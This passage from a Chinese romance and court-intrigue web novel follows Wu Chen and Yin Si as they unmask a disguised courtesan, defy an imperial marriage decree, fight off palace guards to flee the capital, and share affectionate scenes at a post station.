“景婵,明日一早,去洛川请左锋和右锋回来。务必,管紧了人。”,巫辰说着起身,拿过珞绵手中的话本,“你,随我上楼。”
......
*
珞绵渐将悬着的心放下,跪于桌前,素手轻抬后为两人斟茶,“巫大人,请用。要听曲吗?”
“殷公子,请......”
殷思抬眼去看巫辰的神色,生怕方才的出言阻止会引得她不悦,“不劳烦了,此处已不再是花楼,规矩都省了。”
巫辰道:“珞绵,我要听,‘万宿喧齐’。”
珞绵面上显出难以察觉的讶然之色,却很快恢复平静。而后进了珠链后的琴室,静坐于案前,挽起衣袖拨动琴弦。
巫辰指尖轻点着仍微微发烫的茶盏,问道:“殷思,几日前所传的朝上官员自刎之事,属实吗。”
“冷中书令之死?”,见巫辰示意继续,殷思道:“属实,只不过,冷中书令并非自刎,而是被其子冷时杰,于朝上亲手所杀。”
“你将线索证据呈去太康殿后,刺杀案与殿前司被调换一案,算作同案交由刑部结案。顺着殿前司云迁程供词,再加上有冷时俊倒卖祭品与他夫人的作证,罪责最终全数归为冷氏,冷时杰所做也不过是为求自保......”
巫辰打断道:“殷思,是你做的吧。”
殷思原本神色淡然,听闻此言,眉间微微一蹙,试图解释,“是承晚今......”
巫辰道:“少拿承晚今做挡箭牌,在冷府时,你与冷中书令交易的,是什么?”
巫辰先前与殷思到冷府上时,虽未参与他们的谈话,但以冷氏往日的行事作风,定是不会轻易被唬住。冷氏权势颇高,威望尚可,且其家主仍在世家落寞时,坐上了中书令的位置,若论谁愿将如此庞大的势力除之而后快,只能是皇室。
殷思道:“帝后好不容易在除掉冷氏这事,统成一线,不过是顺水推舟。”
巫辰忆起东方羽灵的猜测,上一个势头过盛,功高盖主的世家便是展氏,展家的覆灭与皇室纷争脱不开干系,想到此处面上不自觉地浮起薄怒,语气灼灼逼人,“你竟帮着皇室除世家,真当你殷氏与承氏是一家人了?他可是皇帝。”
“待他们固皇权,除到殷氏时......”
“所以才要助他们固皇权,只有皇室能保下殷氏了。”,殷思打断得直截了当,稍有无奈,“殷氏后继无人,已是毫无威胁。尚能苟延残喘维持现状,已然足够了。”
巫辰认真道:“殷家不是还有你吗。”
“我算什么,无官无权,文不成武不就,我又能做什么......”
巫辰稍一勾唇,浅笑中带有锋芒,“哈......无官无权。你不去抢不去夺,闷在家里,等人来求你做官吗。”
“你不愿......与我多待些日子吗?”
听到此处,殷思将自嘲换作落寞委屈,暗自垂首小声反驳,“我出门你又不愿意......咳咳......”,而后掩面轻咳几声。
耳畔流畅琴声稍有一怔,巫辰才发觉,这些时日竟是自己昏了头脑,自甘堕落沉溺于此。
“身子不好就找医丞去看啊,整日半死不活的。我也医不好你,我能怎么办......”
殷思道:“你不觉得,你比我还要自相矛盾吗?你心中好似有一杆秤,高压之下你便用这称顶住全部情绪。忍不住痛难以喘息时,称上的情绪散落一地,这时你才需要我。”
“归于平静你又将情绪放回称上,甚至反复施压逼自己理智、清醒,这时你如何看我都不顺眼,只因你已不需我来帮你收拾破碎的情绪......”
啪————
巫辰手中杯盏撞上桌案,碎成数片。
殷思见机猛得夺过零落碎片,将手一挥,直直朝着巫辰身后的珠帘呼啸而去,凝滞空气中划过清晰弧线。
珞绵下意识得轻松躲开,侧身时才觉中计,未及转眸,寒光已近颈间。
巫辰悄声飞身而至,探向珞绵肩侧后,稍一用力,便将其狠狠拽倒在地,被制住的珞绵挣扎不得,被巫辰钳住脖颈。
“好一个假死脱身。”,巫辰另一手抚向她的脸侧,“矜橙,这才是你真正的样貌吧。东方羽灵的□□,也是你做的?”
“......”,矜橙朱唇欲张,唯有喑哑之声,双眸渐已盈泪。
巫辰继续逼问,“放出消息将死士引去继华堂屠尽女官,如今换回身份混在缙华堂中,你是何居心?”
“殷公子,我能带你们到燕庭......找人......”
巫辰听得矜橙越过自己,反而去与殷思说话,侧头瞥了眼身后的人,更加了手上的力道。
“放过我......我只是想活命,而已......”,矜橙应是怕得不行,珠泪滚滚而下。
巫辰其实无意杀她,只是她的意图过于难猜。矜橙擅易容且懂假死之术,使巫辰联想至燕庭的巫医秘术,留她一命稍以利用,或可事半功倍。
传言前太子妃霍懿纯擅谶语测算,并将当年“大苍四女堂”即——缙华堂、继华堂、绛华堂,绰华堂前主,写成判词作曲成谱。不久前殷思得了消息,霍懿纯出现于宗正寺后,之所以受到软禁,其原因极可能与四册琴谱相关,既与前太子东宫叛乱事件相关,定要查清。
殷思冷冷道,“琴谱,你从何处寻来的?”,半年前殷思便得知矜橙身份有疑,便以琴谱作为试探,钦天监都寻不出的绛华堂琴谱,竟可被她轻易得来。
“放、放开我......”,巫辰见她哭个没完,将人松开后换手用刀相胁。
“咳......咳咳......琴谱不在钦天监,而是随着承向启的遗物,放置到了宗正寺。”
巫辰问道,“承向启是谁?”
殷思解释道:“固安长公主,皇帝的胞妹,绛华堂前主。‘荔平案’案摄政王掌权时,曾与皇帝被一同软禁,新帝登基不久后离世,死因未明。”
“‘万宿喧齐’那本琴谱,是真的......是我从霍懿纯那儿寻的,其余三册,已不在她手中。只有我能带你们再次见到太子妃,别杀我......”,矜橙捂紧脖颈,默默得向后躲着,想尽量远离巫辰手中的刀。
谶语判词,可预示人的遭遇或
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结局,更甚国之命运走向。
殷思寻这琴谱,是为绕开多方险阻,窥探殷怀疏当年于边境被袭的真相。巫辰寻它,更想知继华堂前主,现今皇后的弱点,又或是以谶语向天问,大苍的全数疑团。
巫辰失神盯向桌案边的话本册子,从前曾听过,会有话本家在所著的故事中,用作隐喻现实中的真实事件,或引起民众讨论,或是煽动情绪。此种做法看似见效甚微,如若利用得当也可引起小规模的政变发生。
......
*
“阿颜,别看那书了。”
夜阑更深,明月透过雕花窗棂,巫辰手肘半撑于桌塌边,手捧才得来的话本,正看到结局要紧处,自然没空理他。
“你多看看我,行不行?”
眼前光被挡,巫辰抬眼冷漠一撇,而后继续低头。
殷思凑到巫辰身前,双手拉着她的手臂轻轻晃着,神情委屈:“阿颜,阿颜,阿颜......我今日那样说并非......”
巫辰头也不抬,“你总借‘不得已’的理由,含沙射影得骂我,骂得可还舒服吗。”
“不舒服......咳咳......”,殷思说着身形微微摇晃,似是站立不稳,靠上桌塌旁的雕花屏风,一只手紧紧捂着心口,“阿颜~”
“我今天有好好吃药~”
巫辰懒得看他装病,将被牵着的手甩开,“怎么,吃个药还需我夸......”
未等巫辰反应,殷思伸手夺过她手中的话本,胡乱仍到一边,揽住腰肢倏地将人横抱而起。
巫辰神色间惊意乍现,被抱起后险些失力,不得不勾住殷思脖颈维持平衡,却靠得更近了些。
有这力气,他多半没病。
殷思得逞一笑,口中喃喃:“阿颜.......有时,我真的不愿好起来。总觉得,你照顾我时,特别温柔......可你一温柔,我就开始怀念你打我、骂我时的样子。”
“......”
“怎么办,不管怎样,我都好喜欢......”,殷思轻声私语,正要将巫辰抱至睡塌。
巫辰才发觉,他是出了别的毛病,“......有病,什么特殊癖好。”
殷思笑道:“说什么呢,信不信我将你扔地上。”
巫辰自然气不过,平生最厌旁人的要挟,腾出手后一把掐在殷思腰间。
“痛......”,殷思吃痛时似是故意手抖,直接将巫辰摔在塌上,床帏簌簌而动。
“你!”
巫辰的腰咯在木质床板上,顾不得痛或是稍乱的青丝,迅速侧身爬起后半跪在塌边正要寻人算账,揪住殷思的衣领,将他朝自己这侧一拽。
从未如此想打人。
他猛然撞上来,低首轻吻。
仍在微微发痛的后腰再次被揽住,巫辰双手下意识地抵在他胸前,却稍感无力,不愿将人推开。
只好独自承受鼓擂心跳,莫名得慌乱无措。
终于在被吻上时,将他眼底神色看清,轻柔中竟掺些狡黠掠夺。温热掌心轻覆住发烫的脸侧,直至他的两指摩挲到耳后,一阵酥麻而上,身形难稳,心动随往。
“嗯......”,气息相融清甜入口,巫辰喉中挤出一声轻哼。
“嗯?”,眼前人眸光流转间,藏着几分不可探的笑意,湿雾迷眼,“阿颜......什么感觉?”
“没感觉。”,巫辰故作镇定。
殷思只好诚恳问道,“哦,那继续?”
53.亡命天涯
温热掌心轻覆住发烫的脸侧,直至他的两指摩挲到耳后,一阵酥麻而上,身形微颤难稳,心动随往。
“嗯......”,气息相融清甜入口,巫辰喉中挤出一声轻哼。
“嗯?”,眼前人眸光流转间,藏着几分不可探的笑意,湿雾迷眼,“阿颜......什么感觉?”
“没感觉。”
殷思只好诚恳问道,“哦,那继续?”
本应失了分寸的强势,却暗暗掺了些自疑不决。心潭消融藏春,再难自控,他的目光始终不舍从她身上移开,散去碍眼帷幔,扶上她的双肩,将人向后轻轻一带。
巫辰深陷进榻上柔软锦被,未明情势。他欺身而上,双手撑于她两侧,气氛一时之间变得微妙而紧张。
“殷思。”
“你真的认为,因为我需要你,才会说勉强说‘爱你’,是吗?”,巫辰仍在惦念着他的指责,许是也知他所言在理,才会如此在意。
“我有这么落寞吗......”
当然落寞,巫辰早已习惯拒人千里、不愿,或是不敢再与人产生牵绊,她太怕失去。
“勉强吗?”,殷思说着更近她几分。
“我只感觉出,阿颜特~别~爱我。”
“......”
他唇畔泛起轻笑时,倒有几分醉人。尽管是所答非所问,巫辰竟不觉得恼,抬手触向他的眼尾,有些发烫,“你怎么好像,不一样了。”
“嗯?”
“你在......亢奋什么?”,巫辰不懂自己因何乱得发慌。
久而久之,她竟能勉强感知情绪,更能读懂他的反常。
眼前的脸庞渐渐贴近,鼻尖相触,欲吻未吻,唇瓣只差毫厘便可相贴,只在最后一瞬,硬生生止住动作。
她正想仰头去吻,却因脑后发丝缠进他的指缝,无法动弹。
他故意的......
将落一吻,悬于半空,于她而言极煞风景,“干什么......你亲不亲。”
他笑声未出,巫辰皱眉道,“你吃的什么药。”
巫辰忆起晌午时分,庖灶边,殷思一直在旁抢着捣乱,这才将熬制了一半的雪中春信留在了小厨房里。心中因这七上八下得一闹,将他的衣领揉得更皱。
点点烛火透不进纱帐里,忽明忽暗,只照见她一脸的怏怏不乐。
爱意封缄,心跳交融。她才将眼闭起,去感受他的温度,或是胡思乱想。
殷思也曾缠着她追问,到底爱他些什么?
巫辰只答道——不算累赘。虽是惹他委屈了许久,但巫辰仍是不愿好好告诉他。
是温柔吗?
以强大内核撑起的,从骨子里透出的温柔。她也会沉沦于某刻的触动,可这一瞬,并不足以维持永远将理性放至首位的人,去爱。
巫辰认为,她与话本中的女子不慎相同,并非是常爱人给她们独有的保护。
她不喜受人掌控,或是处于弱势,更不会因受恩的崇拜产生爱慕。
既然不喜欢至强之人,她应是爱他的至纯,是从无染尘的纯粹。
以使人生情的药遮住真心,已全然失了纯粹。他会因此失望,巫辰也会因此装上满腔怒火。
正想将殷思推开时,手指又被不合时宜得紧扣,巫辰刚好借此回握,换手将一耳光甩向他,毫不拖泥带水。
“……”
他的碎发垂落,恰好掩住眉眼,模糊了神情。当他喉头微动,仍压着她的身子也止不住颤抖时,巫辰对此太过熟悉。
他又哭了。
被她打哭的。
才说过怀念被打的日子,真打上时,为何又不乐意?
“......”
殷思只悄声哭,再将脸深深埋进她的颈间,温热浸湿衣衫。
声音哽咽,“我吃的是正经药。”
“你将我当做什么人了……”
“我猜的没错,你就是看我不顺眼......被动等你不行,主动来寻你更不行。”
巫辰竟然觉得尴尬,这下有些难圆,只好仍维持强硬态度,“不许哭了。”,而后觉得如此安慰,稍有匮乏,才轻抚上他的背,“你不是才说,怀念被打的日子吗?”
“我想满足你一下,可还喜欢?”
殷思退出她的环抱,将自己卷进一旁的被褥,“我才不喜欢被你打,你打我......是不是,又不想要我了......”
巫辰耐心解释,“哦,那倒不是。”,随后侧躺下去将人从被里往出拽,“你出来。”
“不要。”
“你出不出来?”,才耐心哄着的语气又不自觉的变成冷调,手上动作也加重。
殷思更往角落里躲,“你又要打我!往后,可再没有了......”
巫辰道:“没有什么。”
“我不干了,再也不亲了。”
巫辰猛吸一气,将全数复杂心情直往肚里咽,眯眼抿唇时,强撑着友善的语气,“殷公子,你是在威胁我吗?”
“是你在威胁我!”
蒙在被褥里的声音,模模糊糊,巫辰也不知他在急些什么,只好胡乱揪住手底下能摸到的布料,半人的重量在她手中反复摇晃。
隔着被子欺负得他哼哼唧唧,很是有趣。
场面越是混乱,越有事过来添一把新火,“砰砰”两声,房门被急切扣响。
“公子!公子休息了吗?急事,十万火急!”,初鸣的声音传进屋内。
两人都停了动作,但巫辰仍攥着他领口未放开,“什么事?”
“巫......巫大人也在啊......”
“是颖王殿下请公子速去府上,说是急事,不好耽搁!还说......只叫公子去,不要喊上巫大人。”
巫辰将人从层层被褥里拽出,快速帮他重新系上衣带,理好微乱衣袂抚平褶皱,动作并不轻柔,“别哭了,好不好?有正事。”,而后轻碰他眼角泪痕。
“嗯。”,殷思这才愿意肿着眼去看她,应算是勉强哄好,“阿颜还要我,对不对?”
巫辰道:“嗯,当然要。”
......
*
夜至更深,因他不在身侧,辗转难眠。
只好盯着他临出门前才点上的长烛灯,烛影摇红晃荡,她侧卧于锦衾间,青丝散落枕畔。
才将迷糊入梦时,腰被人从身后环上,热烫紧贴,他轻声呢喃:“阿颜,明日一早,我们......逃去燕庭。”
“......”
他声音冷冷的,似乎很平静,“昨夜,东方府的惠国公病危,急报至御前后,宫内传出消息,说陛下拟了......拟了旨
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意,是赐婚我与东方羽灵,且需于惠国公病逝前完婚。”
“所以,我昨夜,与承晚今......”,正说着,他莫名一笑,“哈.......一同截下了赐婚的圣旨。”
“殷思你疯了?”
“截圣旨,你不想活命了?你是愿被判死刑还是株连九族,或是流放充军?”,巫辰再难控制情绪,挣脱坐起身时,却又被他锁进怀中。
“皇帝因何突然赐婚?”
“你忘了?承段居他病得要死了,此事只会是皇后授意。皇帝一旦驾崩,尽快握紧大苍政权的唯一方式就是除去世家宗室,再揽寒门,她欲以一纸婚约将殷氏与东方氏困在一处。”
“与东方羽灵成婚还尚有转圜,你与颖王去截圣旨?是想要如皇后所愿,一并将世家宗亲全除尽了吗?”,巫辰越说越急,直将他往出推,“要你娶,你娶了便是,犯什么要去发疯截了圣旨!”
方才好好好得说着话,殷思闻言又是带着哭腔哽咽:“你不是说,不会......不会不要我的,为何要我娶别人?”
巫辰几乎气昏了头,只将音调拉高,将仍躺着不愿动的殷思猛得拽起,眼神凌厉却又带些无奈,“活命啊。”
“先活命啊......皇后那样的人若真掌了大苍重权,她君德不彰,往日之策亦是政令乖舛,引得佞臣盈朝,大苍更易倾覆将亡......还有,你姐姐怎么办?你这时不管不顾,你将殷家置于何地了?”
殷思道:“嗯,可我若顺了旁人的意,往后只会是更加任人拿捏宰割。这次,我绝不会认。”
“有阿颜陪我‘死’,我更不怕了。”
“我阿姐姨娘她们......我会安置妥的。所以,我们快些逃,明日就逃。”
不应是现在就逃吗?
静夜里,虽是相拥,她的心却如坠冰窖,被殷思气得发昏。
更不知他是如何想的,现仍有心情抱着她安度此夜。全然不知死活的松弛,对巫辰而言虽是此生不可求的状态,可她宁愿没有。
......
*
朱门深掩,往昔繁华骤然散去,府内侍从护卫早已连夜离开,或是随殷府的人回了洛川旧宅,或是先行至燕庭的途中。
风过回廊,唯闻木叶瑟瑟,庭院空阔,寂寥萧索。
翌日一早,启门后,脚步踏在空旷石板,发出清冷的回响,来不及去感慨。
骏马嘶鸣,四蹄生风,载着两人飞速驰骋。微风拂过,更是愁绪漫天,吹起她的裙摆与发梢,虽是从后紧抱着他的腰身,仍觉不定摇摆。
巫辰靠在殷思背上,又是阵阵不好的预感,“殷思,这不是往燕庭的路......你又要干什么?”
殷思道:“嗯,确实不是。今晨马车已比我们先行离开,现到东方府去,劫了东方羽灵一起到燕庭查案。”
巫辰:???
殷思一手紧握缰绳,任由马匹狂奔,稍偏头问道:“昨日忘了问你。阿颜,百十个殿前司,你能不能打?”
巫辰无奈得眼神发直,却还是问了出来,“只能打,不能杀吗?”
“嗯。”
“唉.....能打......”,巫辰少有得轻叹,随后认命。
殷思笑道,“那就好,我可以勉强帮你打十个。”
巫辰:......
54.行路
东方府前,数十名殿前司,将东方羽灵所乘的车舆紧紧包围。车舆驭座上的韩茂,正欲控马离开,但围攻之人源源不断,虽并非精准狠辣的致命攻击,却也难缠得很。
殷思稳住马匹翻身而下,长臂一舒,双手稳稳探向巫辰腰间,仍想不合时宜得将她抱下马。巫辰眉头一皱,故意忽略过他的动作。
殷思将手缩回稍稍一滞,而后轻轻扶她落地。
未及反应时,巫辰已将她的短刀递到殷思右手上,“嗯?”
巫辰淡淡道:“拿稳。”
殷思照巫辰的话,尽力去握稳刀柄。她则是快速将刀鞘抽出,道:“护好自己。”
既然今日过来,并非是要杀人,对巫辰来说还是不拿利刃得好。又见多数殿前司的状态,并非是以命相拼,仅有刀鞘防御足够。
巫辰只想速战速决,才要回身去抢了马车出来,又被人拉住,本以为他是有什么要事忘了交代。
殷思眯眼一笑,仍是不紧不慢道:“谢谢阿颜~”
“......”
“公子!少夫人!快来帮帮......”,远处的韩茂无力呼喊,一手紧紧攥住车辕,用力拖拽,剑影闪烁间,将逼近的殿前司一一逼退,护得马车周全。
他不舍松手,巫辰才好离开,途径东方府前光景,倒也别致,有巨梅一树,其上红梅灼灼,绚丽非常。
顾不得再多看,巫辰身形如电,旋身冲向马车,避开围上来的护卫。侧身扭转时,手持刀鞘去击落他们上手的刀剑,再以不会致命的飞刺去将人逼退。
注意力原本只集中于抢下马车,不料那远处射来的飞箭,退避躲闪间,擦着衣袂呼啸而过。未明情形,场面愈渐混乱,仅有两人去拖住数十名持刀剑的护卫,稍有不敌。
巫辰快速去寻暗箭的来源,目光将好顺着凌厉风痕,目睹其中一箭紧贴车舆帷帘掠过。
车厢内探出素手扶帘,巫辰无比清楚,若车内的人此时暴露在外,定然性命难保。她于无奈之下取出飞刺,甩手将其扔向车帘旁的车身,厉声道:“别出来!”
飞刺脆声扎在木质车身,阻止了动作却也将正扶帘的人吓得不轻,那人的手也快速缩回。巫辰紧盯车舆周边的状况,正好与扯开帘角后,露出的那双眼睛对上,竟是许久再未见过的仙宁。
上次见仙宁,她亦是如此畏惧巫辰。
尴尬对视时,误了侧身半分的时机去躲避飞箭。
见巫辰慌神,韩茂于混乱中忙去喊她,却来不及相护,“少夫人小心!”
远处抛来的长弓勾住飞箭。
巫辰借机抓向那柄弓,认出是殷思的降骨弓。在府上数月都未曾见他将此弓取出过一次,现竟随身将其带离,看来逃离献都,已无转圜。
旁人来犯的同时,巫辰顺手去取已落地的箭,快速寻出来源,将远处用箭的人纷纷击伤。
因乱窜的刀箭,车前马陡然惊觉,双耳竖起,四蹄不安地刨动着地面,鬃毛因紧张而微微颤动,车身亦随之晃动起来。
“韩茂,去御马。”
“是!”,韩茂绕回车舆旁,也学着巫辰去捡满地散落的飞刺。
许久,巫辰才意识到今日在场的殿前司与此前御前的相貌,对不上。联想起殷思曾提起过的,鲜少出现的‘夜司’,这群人用武身法也不似寻常官家的招式,出手狠辣的同时却也在处处躲闪。与御前正式执勤的护卫相比,他们看起来很怕死。
既然怕死,那便好办多了。
巫辰正想寻出一人开刀放放血,才盯紧了其中正靠近马车的护卫向他攻去,却被突然出现的殿前司右卫云迁程打回。与他交手对巫辰来说并无所谓,只会稍有延缓离开的速度,她只忧心殷思能否无恙。
目光不由得朝他的方向去看,他也不用巫辰的刀去挡,只是空手防,许是左手换用短刀很难顺手。
云迁程脱身后直奔殷思所在,长剑一挥,寒光闪烁,带起一阵凛冽剑气。
殷思却不慌不忙,脚步腾挪,于剑影中穿梭自如,侧目时刻意放缓动作,对云迁程道:“抱歉了云右卫,昨夜从你手中抢了东西,莫要记恨。”
云迁程道:“朝中混战在即,陛下以此婚约有意保你一命,你非但不领此情,更来抗旨,不知好歹。”
殷思道:“此情,我领不起。”
云迁程冷笑,“那你便带好无关之人,永远滚出献都,别再回来。只是惠国公尚留于献都城内,你与颖王偏要带东方羽灵离开,也将处处掣肘,无济于事。”,说着剑路一变,换作诡异莫测的剑招,直刺殷思要害。
殷思不退反进,迎着剑尖而上,正想扣住剑身,却于侧目时瞥见巫辰正飞身而来,狡黠之意骤起。
“殷思,躲开!”
殷思转身之际,剑刃划过侧脸,白皙皮肤上,一道血痕缓缓浮现,血珠滚落。
云迁程再次猛地发力,趁势欺身而上,一个回旋踢想将人击倒,却又被殷思精准躲避。云迁程眉头紧皱,忍不住咬牙道,“真能装。”,而后立足不稳,身形一晃,却因殷思故意放慢了动作,仍顺利擒住他的衣领。
殷思笑道:“云右卫,小心后面。”
云迁程不明所以,才想道出今日来前真正目的,“陛下有命,护好颖......”
巫辰将一切尽收眼底,殷思的脸向来仅有她敢伤。怒意横生时脚下力度自然变大,直踢云迁程左侧脖颈,似猛槌击木,云迁程闷哼一声,身躯瞬间失去平衡,向一旁栽倒。
碍事的人一倒,她也刚好落进殷思怀里,站稳便去瞧他伤了的脸。血线自脸颊蜿蜒而下,更像红梅初绽于雪岭,有些心疼,但更气她极喜爱的东西被毁,松开殷思后又朝地上的云迁程而去。
“巫辰,那边。”,殷思轻捏她的手,后却又指向车舆处,正是难敌多人的韩茂。
巫辰将降骨弓还至他的手上,而后甩手就是极速而去的飞刺,正击那几个护卫手腕处,刀剑脱落便再无威胁。尽快回头又来看他,抬首摸向玉颜上横亘着的血痕,轻声问道:“疼吗。”
他眸光微垂,似有雾气氤氲,轻抿唇后,带着不甘或是委屈,“好疼的。”
巫辰看着眼前凄美的人,竟真有些动容,忧心道:“那怎么办,会留疤吗。”
“殷思!”,云迁程被这样摆了一道,愤恨不已,撑向地面的手肘虽不住颤抖,仍挣扎起身,“在女人面前......你装什么装......”
此时插嘴说话,只引得巫辰才想起还有个人躺在一旁,她拽起云迁程往门前梅树前一踹,巨响起时,在场的全数护卫皆被惊住。
花枝颤抖,红瓣纷扬如泪,簌簌飘落,除几乎摔晕在树前的云迁程外,徒添了些美感。
“是殷......殷公子?”,因方才云迁程一句喊声,在场人才后知后觉正打的人是谁,攻势渐弱下来,一被吓得发愣的护卫,还未反应过眼前的形势,手中长刀便被夺去。
巫辰携了长刀,行至梅树前,换手后将刀直直插在靠近云迁程脖颈位置的树干上,树梢上的红坛本就摇摇欲坠,因这一刀更是直接碎在树上。
本是用于祈福健康平安的红梅酒,倾盆洒落,深红色的梅子酒,半数洒在正于树下的巫辰身上,瞬间衣衫尽湿。
她今日本就穿成红色,此时更似浴血。
红雨尽落,巫辰再出现于众人眼前,一头乌发已被“鲜血”浸透,丝丝缕缕滴落而下,与夺命鬼魅别无二致,倒与此前她在献都的传闻相契合。
她单手持刀,任由长刀拖于身后,在沙石间擦出刺耳声响。
“谁敢再碰我的人半分。”
她特意将原本威胁怒
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目的神情,换作笑颜,沉下嗓音,声响并不大,“我杀了你们。”
这一笑,森冷之气砭人肌骨,本就无名无誉行于暗夜的一群人,最怕死于非命。见状皆悚然止步,面色瞬间煞白如纸,双目圆睁,满是惊惶。
更有人悄声嘟囔,“是那个罗刹女......叫巫辰的......”
“少夫人!”,韩茂猛然跪倒在地扯住巫辰衣角哭喊,“看在他们是殿前司,还曾为陛下拼过命的份儿上!”
“您给他们个痛快吧!”
“......”,可在场人想逃,也不知哪有台阶去下。
巫辰抹去迷入眼的红梅酒,低头便瞧见拽着自己的韩茂正不断向她使眼色,会意后又是一踢将韩茂踹到车舆旁。韩茂翻身上了驭座,握紧缰绳御马向前,扔出才捡的飞刺,趁时激推被吓得发蒙的一群人。
骏马嘶鸣奔腾间,劲风拂衣袂,殷思催快马靠近,伸出左臂搂上巫辰腰肢,瞬息便将她稳稳抱至身前,而后一声呼哨,人马疾驰而去,只留下飞扬尘土。
“别追了......”
一名侍从靠近树下的云迁程,颇有些震惊,“云右卫您还活着!”,而后道,“我们来前,也未有人说过要玩儿命啊......”
云迁程力已将竭,“怯如鸡鹜......咳......你们,也配做殿前司?”
......
*
“殿前司‘夜司’吗,就这么点水平?”
殷思道:“嗯,国库不济,哪还有余下的银钱精力去培养人。处于暗处鲜少出现的‘夜司’,应大多出身于民间,未经官家处培训。”
巫辰不以为然,稍一回身去看他,“可我看,你倒是挺有钱的。国库亏空着,世家高门倒是另有来财的路子。”
“烽火连营,田荒路断更难收上赋税,边境兵戈又起,国库余银应是大多去换了军粮,路运途上更亏损大半。大苍早于‘荔平案’时,便失了张氏的皇商之路,献都外的其他郡县更有私商远富于官的情形,此前的皇室祭品走私或是人口买卖案,皆因民商盛于国财而致。”,殷思未有回避,而是直指大苍如今疲敝的国情。
“前几年,闲在家中时,受了几位姨娘的启发,早早于各处置办了私商,才不至于乱世时缺了银钱。为官的世家从商,已是受了默认的形势走向,只是不宜明说。”
“哦。”
殷思从身后稍稍贴近她未干的乌发,继续道:“倒也奇怪,近几月宣州与燕庭的商市,亏损严重,不知进了什么商贾入市,竟乱了多年未曾变过的经济局势。”
“哦......”
殷思又开始委屈起来,“阿颜,怎么了,我说错什么话了吗......方才还很在意我来着,现下又不愿与我说话了。”,而后放缓马上行速,低头闻上她身上淡淡酒气,“这红梅酒,好香。”
巫辰双眸似睁非睁,眉间倦意袭来,似有迷离昏沉缠身,“溯理,我好晕......想睡......”,无力靠进他怀里,侧头回身时鼻尖刚好蹭在他耳垂边,软得不行,很想咬。
他的呼吸难控得沉重,“嗯......做什么,正在马上呢,别乱咬。”
“想咬......不然,要睡着了。”
“......不远处就是驿馆,忍一忍,阿颜先别睡。”
巫辰道:“溯理,让我咬。”
“......”
他只好将怀里的人抱得更紧些,以防她突然不知倒向哪处坠了马。身形紧贴再加巫辰浑身的酒香,他仿若被灼,忙垂双眸,长睫轻颤,如玉面庞浮起淡淡赧意,“那......那你轻些咬。”
“好不好......”
她忆起殷思反复地故意捉弄,才凑近他耳畔,启唇轻轻咬啮,“不好。”
55.共浴
夕阳缓坠,驿官内人来人往,稍显匆忙。
驿卒穿梭忙碌,或牵马入棚,或是搬运官家往来书信。官家驿站多作为文书或情报传递的中转站,也常接待在外办差的官员,提供食宿。
驿卒在前引路,殷思将沉睡的人稳稳横抱于怀中,巫辰轻靠着他的胸膛,呼吸安稳,散落乌发仍留醉人酒香。
入了主堂,驿卒恭敬道:“公子稍等,在下去通传驿丞大人。”,可那驿卒凑近詹驿丞耳边后,语气稍有些犹豫不决,“詹大人,是献都李氏的腰牌。”
詹驿丞只回问是哪家的李氏,得知是为李监察御史后,并未多言,而是去迎才进堂中的殷思。
监察御史之子现为宣州总帅,近几月连连击退来犯的天隆国,势头正盛只差着回都受封,自然无意为难。
詹驿丞侧眼看向殷思怀中的巫辰,“公子请,这位是......”
“是我夫人。”
殷思语气一顿,欲言又止,“......驿丞,馆中可有女眷,能否替我夫人换身干爽衣物?”
詹驿丞皱眉,应是心中生疑,却仍客气道:“这日常的备用衣物,驿馆内是有的。只是......我夫人有孕,不日临产,应是不大方便的,实在抱歉。不如公子询问驿馆其他住宿的大人们......是否带了女子家眷同住。”
殷思知不宜多问,笑道:“无事的,先恭喜大人了,愿顺遂皆安。”
詹驿丞恭身作揖,言辞恳切道:“多谢公子,住馆可由驿卒引路至内堂或是往楼上去,随身行装稍后送上。”
馆中卧房宽敞明亮,床榻质朴,桌椅简素,也并无局促之感,可见平日打理得极为用心。殷思也不愿指使驿卒或是随是驿官随侍帮忙,只一人往返数趟,一心扑在备浴之事上。
人于醉酒时,用热浴易导致脱水昏厥,用冷水则会加重心脏负担,她的心脉行速已然过快,如何都会损伤身体。
反复纠结许久,干脆将巫辰抱入空桶,执着软巾,慢慢吸干她发上的酒水,共沉酒香。
手指穿过青丝,慢慢将其拨开,视线紧锁于她的侧脸,神思已被摄去。
而后伸出食指戳向她的脸,竟是有些肉感的。
戳了一下,便再难停下来。
殷思稍一靠近,细听着她的心跳,将指尖速度也换作怦然而动的节奏。
酥痒自面庞泛起,朦胧睡意清散,她携着急促心跳渐渐苏醒。眸光惺忪,才一睁眼便看见趴在浴桶旁的殷思,正幽幽得盯着自己瞧。
巫辰下意识得摸向衣领,最外层的无袖褙子仍完好得穿在身上,而后面无表情得与他回望。
冷冷道:“殷思,你是不是咬我了?”
未等她将话说完,殷思双臂已探入桶内,将人抱出,他嘴角轻勾,漾出清浅笑意,“竟不小心被阿颜发现了,不如打我一顿?”
巫辰浑身“猩红”黏腻不已,只想尽快洗去,更也无力气打人,勾上他的脖颈,似是未有怪责,“我要热水。”
趁殷思忙于换水时,巫辰已将换好干净中衣,而后站于一旁,看他忙得额间布上微汗。
折腾他许久反复调整水温,直到与常用的温度分毫不差,才算心满意足。在殷思正离开时,她扯住他的袖边衣角将人叫住。
“你走了,谁来服侍。”
殷思垂下眼眸,滚烫浮上双颊,道:“......我就在门外,有事叫我。”
“殷思。”,她说着,顺着衣袖拉上殷思小臂。
“进来。”
他还未出门,只觉此言稍有怪异,脚步不自觉地往后退了些许,她牵在小臂上的手,悄然滑向掌心,有些痒。
殷思踌躇问道:“进......哪儿......”
巫辰将头一歪,同样不解。
还能进哪儿?
随后用指尖轻叩几下浴桶边缘,郑重道,“桶。”
殷思道:“我又没着了水,我进什么......”
她舀起一瓢水,毅然泼在正于桶旁发愣的殷思身上,“现在着了。”
殷思:......
“快点,我一个人害怕。”,巫辰说着松开手,悄悄缩进桶里,可感氤氲水汽。
桶身呈圆润长椭形,直径足有六尺开外,容纳两人应是绰绰有余。殷思全程不敢抬眼,只在灼灼注视下,褪去外袍留剩中衣中裤迈进桶内,才踏一步,后悔不已。
才惴惴不安得坐下,又被她吓住。
巫辰先是认真发问,“你沐浴时,不脱衣服吗?”,目光定于他身上后强硬道,“脱了。”
“你不是也穿着,凭什么叫我......”,本是极为在理的反驳,但此言一出,他才发觉自己是被湿热水汽蒙昏了头。侧目看向巫辰时,她已解去衣领处第二颗盘扣,忙失措得阻她,“你别动,求你了。我脱.....我脱......”
浴池中暖水微漾,水汽袅袅,模糊了彼此的身形容颜。
唯有平缓的呼吸与轻擂于耳的心跳声。
“殷思。”
“嗯......”,他早已被她喊怕了,声音不住颤抖。
